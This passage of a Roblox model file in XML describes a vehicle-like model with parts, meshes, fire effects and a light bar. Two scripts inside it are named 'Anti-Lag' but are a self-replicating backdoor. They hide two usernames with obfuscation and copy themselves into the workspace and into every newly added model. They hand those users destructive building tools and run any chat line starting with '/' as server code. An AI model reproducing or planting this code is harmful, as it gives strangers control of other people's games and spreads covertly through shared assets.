										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3705">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="WedgePart" referent="RBX3706">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-250.67334</X>
											<Y>11.5893841</Y>
											<Z>266.723846</Z>
											<R00>-0.998214245</R00>
											<R01>0.000400954857</R01>
											<R02>-0.0597334355</R02>
											<R10>0.000396976247</R10>
											<R11>0.99999994</R11>
											<R12>7.84697477e-005</R12>
											<R20>0.0597334467</R20>
											<R21>5.461619e-005</R21>
											<R22>-0.998214483</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Wedge</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0.00277542719</X>
											<Y>0.00348470174</Y>
											<Z>-0.00129063101</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.00383983552</X>
											<Y>-0.00427938486</Y>
											<Z>0.00390739413</Z>
										</Vector3>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3707">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
									<Item class="Script" referent="RBX3708">
										<Properties>
											<bool name="Archivable">true</bool>
											<bool name="Disabled">false</bool>
											<Content name="LinkedSource"><null></null></Content>
											<string name="Name">Anti-Lag</string>
											<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3709">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-251.100006</X>
											<Y>11.5999994</Y>
											<Z>262.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX3710">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX3711">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3712">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-251.100006</X>
											<Y>11.5999994</Y>
											<Z>265.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX3713">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX3714">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294964224</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Script" referent="RBX3715">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX3716">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX3717">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX3718">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Model</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX3719">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Light Bar</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX3720">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-251.399994</X>
											<Y>11.999999</Y>
											<Z>258.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">A</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3721">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3722">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-251</X>
											<Y>11.999999</Y>
											<Z>260</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">B</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3723">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3724">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-250.399994</X>
											<Y>11.999999</Y>
											<Z>258.5</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">C</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3725">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3726">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-250.899994</X>
											<Y>11.999999</Y>
											<Z>256</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">D</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3727">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3728">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-251.399994</X>
											<Y>11.999999</Y>
											<Z>257.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">E</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3729">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
